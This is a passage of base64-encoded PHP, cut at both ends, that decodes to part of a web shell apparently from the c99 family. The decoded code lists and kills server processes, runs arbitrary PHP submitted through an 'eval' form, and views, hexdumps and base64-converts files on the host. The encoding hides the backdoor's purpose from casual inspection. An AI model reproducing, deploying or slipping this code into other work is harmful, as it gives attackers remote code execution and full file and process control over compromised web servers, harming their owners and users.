B7JHBhcnNlc29ydFswXSA9IDA7fQogICRrID0gJHBhcnNlc29ydFswXTsKICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iYVwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9kZXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7fQogIGVsc2UgeyR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJkXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0X2FzY1wiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4iO30KICAkcmV0ID0gaHRtbHNwZWNpYWxjaGFycygkcmV0KTsKICBpZiAoISR3aW4pCiAgewogICBpZiAoJHBpZCkKICAgewogICAgaWYgKGlzX251bGwoJHNpZykpIHskc2lnID0gOTt9CiAgICBlY2hvICJTZW5kaW5nIHNpZ25hbCAiLiRzaWcuIiB0byAjIi4kcGlkLiIuLi4gIjsKICAgIGlmIChwb3NpeF9raWxsKCRwaWQsJHNpZykpIHtlY2hvICJPSy4iO30KICAgIGVsc2Uge2VjaG8gIkVSUk9SLiI7fQogICB9CiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICIsJHJldCk7fQogICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7CiAgICRoZWFkID0gZXhwbG9kZSgiICIsJHN0YWNrWzBdKTsKICAgdW5zZXQoJHN0YWNrWzBdKTsKICAgZm9yKCRpPTA7JGk8Y291bnQoJGhlYWQpOyRpKyspCiAgIHsKICAgIGlmICgkaSAhPSAkaykgeyRoZWFkWyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kaS4kcGFyc2Vzb3J0WzFdLiJcIj48Yj4iLiRoZWFkWyRpXS4iPC9iPjwvYT4iO30KICAgfQogICAkcHJjcyA9IGFycmF5KCk7CiAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkKICAgewogICAgaWYgKCFlbXB0eSgkbGluZSkpCnsKZWNobyAiPHRyPiI7CiAgICAgJGxpbmUgPSBleHBsb2RlKCIgIiwkbGluZSk7CiAgICAgJGxpbmVbMTBdID0gam9pbigiICIsYXJyYXlfc2xpY2UoJGxpbmUsMTApKTsKICAgICAkbGluZSA9IGFycmF5X3NsaWNlKCRsaW5lLDAsMTEpOwogICAgIGlmICgkbGluZVswXSA9PSBnZXRfY3VycmVudF91c2VyKCkpIHskbGluZVswXSA9ICI8Zm9udCBjb2xvcj1ncmVlbj4iLiRsaW5lWzBdLiI8L2ZvbnQ+Ijt9CiAgICAgJGxpbmVbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXByb2Nlc3NlcyZkPSIudXJsZW5jb2RlKCRkKS4iJnBpZD0iLiRsaW5lWzFdLiImc2lnPTlcIj48dT5LSUxMPC91PjwvYT4iOwogICAgICRwcmNzW10gPSAkbGluZTsKICAgICBlY2hvICI8L3RyPiI7CiAgICB9CiAgIH0KICB9CiAgZWxzZQogIHsKICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAiLCIiLCRyZXQpO30KICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOwogICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7CiAgIHVuc2V0KCRzdGFja1swXSwkc3RhY2tbMl0pOwogICAkc3RhY2sgPSBhcnJheV92YWx1ZXMoJHN0YWNrKTsKICAgJGhlYWQgPSBleHBsb2RlKCIiLCRzdGFja1swXSk7CiAgICRoZWFkWzFdID0gZXhwbG9kZSgiICIsJGhlYWRbMV0pOwogICAkaGVhZFsxXSA9ICRoZWFkWzFdWzBdOwogICAkc3RhY2sgPSBhcnJheV9zbGljZSgkc3RhY2ssMSk7CiAgIHVuc2V0KCRoZWFkWzJdKTsKICAgJGhlYWQgPSBhcnJheV92YWx1ZXMoJGhlYWQpOwogICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iYVwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9kZXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7fQogICBlbHNlIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9hc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9CiAgIGlmICgkayA+IGNvdW50KCRoZWFkKSkgeyRrID0gY291bnQoJGhlYWQpLTE7fQogICBmb3IoJGk9MDskaTxjb3VudCgkaGVhZCk7JGkrKykKICAgewogICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPjxiPiIudHJpbSgkaGVhZFskaV0pLiI8L2I+PC9hPiI7fQogICB9CiAgICRwcmNzID0gYXJyYXkoKTsKICAgZm9yZWFjaCAoJHN0YWNrIGFzICRsaW5lKQogICB7CiAgICBpZiAoIWVtcHR5KCRsaW5lKSkKICAgIHsKICAgICBlY2hvICI8dHI+IjsKICAgICAkbGluZSA9IGV4cGxvZGUoIiIsJGxpbmUpOwogICAgICRsaW5lWzFdID0gaW50dmFsKCRsaW5lWzFdKTsgJGxpbmVbMl0gPSAkbGluZVszXTsgdW5zZXQoJGxpbmVbM10pOwogICAgICRsaW5lWzJdID0gaW50dmFsKHN0cl9yZXBsYWNlKCIgIiwiIiwkbGluZVsyXSkpKjEwMjQ7ICAKICAgICAkcHJjc1tdID0gJGxpbmU7CiAgICAgZWNobyAiPC90cj4iOwogICAgfQogICB9CiAgfQogICRoZWFkWyRrXSA9ICI8Yj4iLiRoZWFkWyRrXS4iPC9iPiIuJHk7CiAgJHYgPSAkcHJvY2Vzc2VzX3NvcnRbMF07CiAgdXNvcnQoJHByY3MsInRhYnNvcnQiKTsKICBpZiAoJHByb2Nlc3Nlc19zb3J0WzFdID09ICJkIikgeyRwcmNzID0gYXJyYXlfcmV2ZXJzZSgkcHJjcyk7fQogICR0YWIgPSBhcnJheSgpOwogICR0YWJbXSA9ICRoZWFkOwogICR0YWIgPSBhcnJheV9tZXJnZSgkdGFiLCRwcmNzKTsKICBlY2hvICI8VEFCTEUgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9XCIjQzBDMEMwXCI+IjsKICBmb3JlYWNoKCR0YWIgYXMgJGk9PiRrKQogIHsKICAgZWNobyAiPHRyPiI7CiAgIGZvcmVhY2goJGsgYXMgJGo9PiR2KSB7aWYgKCR3aW4gYW5kICRpID4gMCBhbmQgJGogPT0gMikgeyR2ID0gdmlld19zaXplKCR2KTt9IGVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7fQogICBlY2hvICI8L3RyPiI7CiAgfQogIGVjaG8gIjwvdGFibGU+IjsKfQp9CmlmICgkYWN0ID09ICJldmFsIikKewppZiAoIWVtcHR5KCRldmFsKSkKewogIGVjaG8gIjxiPlJlc3VsdCBvZiBleGVjdXRpb24gdGhpcyBQSFAtY29kZTwvYj46PGJyPiI7CiAgJHRtcCA9IG9iX2dldF9jb250ZW50cygpOwogICRvbGRkaXIgPSByZWFscGF0aCgiLiIpOwogIEBjaGRpcigkZCk7CiAgaWYgKCR0bXApCiAgewogICBvYl9jbGVhbigpOwogICBldmFsKCRldmFsKTsKICAgJHJldCA9IG9iX2dldF9jb250ZW50cygpOwogICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7CiAgIG9iX2NsZWFuKCk7CiAgIGVjaG8gJHRtcDsKICAgaWYgKCRldmFsX3R4dCkKICAgewogICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsKICAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDt9CiAgICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCIgcmVhZG9ubHk+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3RleHRhcmVhPiI7CiAgIH0KICAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9CiAgfQogIGVsc2UKICB7CiAgIGlmICgkZXZhbF90eHQpCiAgIHsKICAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIxNVwiIHJlYWRvbmx5PiI7CiAgICBldmFsKCRldmFsKTsKICAgIGVjaG8gIjwvdGV4dGFyZWE+IjsKICAgfQogICBlbHNlIHtlY2hvICRyZXQ7fQogIH0KICBAY2hkaXIoJG9sZGRpcik7Cn0KZWxzZSB7ZWNobyAiPGI+RXhlY3V0aW9uIFBIUC1jb2RlPC9iPiI7IGlmIChlbXB0eSgkZXZhbF90eHQpKSB7JGV2YWxfdHh0ID0gVFJVRTt9fQplY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ZXZhbD48dGV4dGFyZWEgbmFtZT1cImV2YWxcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRldmFsKS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj4mbmJzcDtEaXNwbGF5IGluIHRleHQtYXJlYSZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZXZhbF90eHRcIiB2YWx1ZT1cIjFcIiI7IGlmICgkZXZhbF90eHQpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PC9mb3JtPiI7Cn0KaWYgKCRhY3QgPT0gImYiKQp7CmlmICgoIWlzX3JlYWRhYmxlKCRkLiRmKSBvciBpc19kaXIoJGQuJGYpKSBhbmQgJGZ0ICE9ICJlZGl0IikKewogIGlmIChmaWxlX2V4aXN0cygkZC4kZikpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5pZWQgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjwvY2VudGVyPiI7fQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+RmlsZSBkb2VzIG5vdCBleGlzdHMgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjxicj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1lZGl0JmQ9Ii51cmxlbmNvZGUoJGQpLiImYz0xXCI+PHU+Q3JlYXRlPC91PjwvYT48L2NlbnRlcj4iO30KfQplbHNlCnsKICAkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7CiAgJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsKICAkYyA9IGNvdW50KCRleHQpLTE7CiAgJGV4dCA9ICRleHRbJGNdOwogICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwogICRyZnQgPSAiIjsKICBmb3JlYWNoKCRmdHlwZXMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9fQogIGlmIChlcmVnaSgic2Vzc18oLiopIiwkZikpIHskcmZ0ID0gInBocHNlc3MiO30KICBpZiAoZW1wdHkoJGZ0KSkgeyRmdCA9ICRyZnQ7fQogICRhcnIgPSBhcnJheSgKICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGJvcmRlcj1cIjBcIj4iLCJpbmZvIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9odG1sXCIgYm9yZGVyPVwiMFwiPiIsImh0bWwiKSwKICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X3R4dFwiIGJvcmRlcj1cIjBcIj4iLCJ0eHQiKSwKICAgYXJyYXkoIkNvZGUiLCJjb2RlIiksCiAgIGFycmF5KCJTZXNzaW9uIiwicGhwc2VzcyIpLAogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZXhlXCIgYm9yZGVyPVwiMFwiPiIsImV4ZSIpLAogICBhcnJheSgiU0RCIiwic2RiIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9naWZcIiBib3JkZXI9XCIwXCI+IiwiaW1nIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9pbmlcIiBib3JkZXI9XCIwXCI+IiwiaW5pIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWRvd25sb2FkXCIgYm9yZGVyPVwiMFwiPiIsImRvd25sb2FkIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9ydGZcIiBib3JkZXI9XCIwXCI+Iiwibm90ZXBhZCIpLAogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBib3JkZXI9XCIwXCI+IiwiZWRpdCIpCiAgKTsKICBlY2hvICI8Yj5WaWV3aW5nIGZpbGU6Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kZi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiIpICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYj48YnI+U2VsZWN0IGFjdGlvbi9maWxlLXR5cGU6PGJyPiI7CiAgZm9yZWFjaCgkYXJyIGFzICR0KQogIHsKICAgaWYgKCR0WzFdID09ICRyZnQpIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Zm9udCBjb2xvcj1ncmVlbj4iLiR0WzBdLiI8L2ZvbnQ+PC9hPiI7fQogICBlbHNlaWYgKCR0WzFdID09ICRmdCkge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPjx1PiIuJHRbMF0uIjwvdT48L2I+PC9hPiI7fQogICBlbHNlIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLiR0WzBdLiI8L2I+PC9hPiI7fQogICBlY2hvICIgKDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4rPC9hPikgfCI7CiAgfQogIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICBpZiAoJGZ0ID09ICJpbmZvIikKICB7CiAgIGVjaG8gIjxiPkluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPjx0cj48dGQ+PGI+UGF0aDwvYj48L3RkPjx0ZD4gIi4kZC4kZi4iPC90ZD48L3RyPjx0cj48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD4gIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TUQ1PC9iPjwvdGQ+PHRkPiAiLm1kNV9maWxlKCRkLiRmKS4iPC90ZD48L3RyPiI7CiAgIGlmICghJHdpbikKICAgewogICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsgICAgIAogICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkLiRmKSk7CiAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQuJGYpKTsKICAgIGVjaG8gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkZC4kZikpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCRkLiRmKSk7CiAgIH0KICAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4iYWN0PWNobW9kJmY9Ii51cmxlbmNvZGUoJGYpLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPiIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYT48L3RkPjwvdHI+PHRyPjx0ZD48Yj5DcmVhdGUgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWN0aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPkFjY2VzcyB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlYXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TU9ESUZZIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVtdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsKICAgJGZpID0gZm9wZW4oJGQuJGYsInJiIik7CiAgIGlmICgkZmkpCiAgIHsKICAgIGlmICgkZnVsbGhleGR1bXApIHtlY2hvICI8Yj5GVUxMIEhFWERVTVA8L2I+IjsgJHN0ciA9IGZyZWFkKCRmaSxmaWxlc2l6ZSgkZC4kZikpO30KICAgIGVsc2Uge2VjaG8gIjxiPkhFWERVTVAgUFJFVklFVzwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLCRoZXhkdW1wX2xpbmVzKiRoZXhkdW1wX3Jvd3MpO30KICAgICRuID0gMDsKICAgICRhMCA9ICIwMDAwMDAwMDxicj4iOwogICAgJGExID0gIiI7CiAgICAkYTIgPSAiIjsKICAgIGZvciAoJGk9MDsgJGk8c3RybGVuKCRzdHIpOyAkaSsrKQogICAgewogICAgICRhMSAuPSBzcHJpbnRmKCIlMDJYIixvcmQoJHN0clskaV0pKS4iICI7CiAgICAgc3dpdGNoIChvcmQoJHN0clskaV0pKQogICAgIHsKICAgICAgY2FzZSAwOiAgJGEyIC49ICI8Zm9udD4wPC9mb250PiI7IGJyZWFrOwogICAgICBjYXNlIDMyOgogICAgICBjYXNlIDEwOgogICAgICBjYXNlIDEzOiAkYTIgLj0gIiZuYnNwOyI7IGJyZWFrOwogICAgICBkZWZhdWx0OiAkYTIgLj0gaHRtbHNwZWNpYWxjaGFycygkc3RyWyRpXSk7CiAgICAgfQogICAgICRuKys7CiAgICAgaWYgKCRuID09ICRoZXhkdW1wX3Jvd3MpCiAgICAgewogICAgICAkbiA9IDA7CiAgICAgIGlmICgkaSsxIDwgc3RybGVuKCRzdHIpKSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKzEpLiI8YnI+Ijt9CiAgICAgICRhMSAuPSAiPGJyPiI7CiAgICAgICRhMiAuPSAiPGJyPiI7CiAgICAgfQogICAgfQogICAgLy9pZiAoJGExICE9ICIiKSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKS4iPGJyPiI7fQogICAgZWNobyAiPHRhYmxlIGJvcmRlcj0wIGJnY29sb3I9IzY2NjY2NiBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTQ+PHRyPjx0ZCBiZ2NvbG9yPSM2NjY2NjY+Ii4kYTAuIjwvdGQ+PHRkIGJnY29sb3I9MDAwMDAwPiIuJGExLiI8L3RkPjx0ZCBiZ2NvbG9yPTAwMDAwMD4iLiRhMi4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7CiAgIH0KICAgJGVuY29kZWQgPSAiIjsKICAgaWYgKCRiYXNlNjQgPT0gMSkKICAgewogICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZTwvYj48YnI+IjsKICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOwogICB9CiAgIGVsc2VpZigkYmFzZTY0ID09IDIpCiAgIHsKICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuazwvYj48YnI+IjsKICAgICRlbmNvZGVkID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpKTsKICAgfQogICBlbHNlaWYoJGJhc2U2NCA9PSAzKQogICB7CiAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlICsgQ2h1bmsgKyBRdW90ZXM8L2I+PGJyPiI7CiAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKTsKICAgICRlbmNvZGVkID0gc3Vic3RyKHByZWdfcmVwbGFjZSgiIS57MSw3Nn0hIiwiJ1xcMCcuXG4iLCRlbmNvZGVkKSwwLC0yKTsKICAgfQogICBlbHNlaWYoJGJhc2U2NCA9PSA0KQogICB7CiAgICAkdGV4dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsKICAgICRlbmNvZGVkID0gYmFzZTY0X2RlY29kZSgkdGV4dCk7CiAgICBlY2hvICI8Yj5CYXNlNjQgRGVjb2RlIjsKICAgIGlmIChiYXNlNjRfZW5jb2RlKCRlbmNvZGVkKSAhPSAkdGV4dCkge2VjaG8gIiAoZmFpbGVkKSI7fQogICAgZWNobyAiPC9iPjxicj4iOwogICB9CiAgIGlmICghZW1wdHkoJGVuY29kZWQpKQogICB7CiAgICBlY2hvICI8dGV4dGFyZWEgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZW5jb2RlZCkuIjwvdGV4dGFyZWE+PGJyPjxicj4iOwogICB9CiAgIGVjaG8gIjxiPkhFWERVTVA6PC9iPjxub2JyPiBbPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZmdWxsaGV4ZHVtcD0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5GdWxsPC9hPl0gWzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mZD0iLnVybGVuY29kZSgkZCkuIlwiPlByZXZpZXc8L2E+XTxicj48Yj5CYXNlNjQ6IDwvYj4KPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkVuY29kZTwvYT5dJm5ic3A7PC9ub2JyPgo8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZiYXNlNjQ9MiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+K2NodW5rPC9hPl0mbmJzcDs8L25vYnI+Cjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0zJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bmsrcXVvdGVzPC9hPl0mbmJzcDs8L25vYnI+Cjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND00JmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5EZWNvZGU8L2E+XSZuYnNwOzwvbm9icj4KPFA+IjsKICB9CiAgZWxzZWlmICgkZnQgPT0gImh0bWwiKQogIHsKICAgaWYgKCR3aGl0ZSkge0BvYl9jbGVhbigpO30KICAgZWNobyAkcjsKICAgaWYgKCR3aGl0ZSkge2M5OXNoZXhpdCgpO30KICB9CiAgZWxzZWlmICgkZnQgPT0gInR4dCIpIHtlY2hvICI8cHJlPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvcHJlPiI7fQogIGVsc2VpZiAoJGZ0ID09ICJpbmkiKSB7ZWNobyAiPHByZT4iOyB2YXJfZHVtcChwYXJzZV9pbmlfZmlsZSgkZC4kZixUUlVFKSk7IGVjaG8gIjwvcHJlPiI7fQogIGVsc2VpZiAoJGZ0ID09ICJwaHBzZXNzIikKICB7CiAgIGVjaG8gIjxwcmU+IjsKICAgJHYgPSBleHBsb2RlKCJ8Iiwkcik7CiAgIGVjaG8gJHZbMF0uIjxicj4iOwogICB2YXJfZHVtcCh1bnNlcmlhbGl6ZSgkdlsxXSkpOwogICBlY2hvICI8L3ByZT4iOwogIH0KICBlbHNlaWYgKCRmdCA9PSAiZXhlIikKICB7CiAgICRleHQgPSBleHBsb2RlKCIuIiwkZik7CiAgICRjID0gY291bnQoJGV4dCktMTsKICAgJGV4dCA9ICRleHRbJGNdOwogICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsKICAgJHJmdCA9ICIiOwogICBmb3JlYWNoKCRleGVmdHlwZXMgYXMgJGs9PiR2KQogICB7CiAgICBpZiAoaW5fYXJyYXkoJGV4dCwkdikpIHskcmZ0ID0gJGs7IGJyZWFrO30KICAgfQogICAkY21kID0gc3RyX3JlcGxhY2UoIiVmJSIsJGYsJHJmd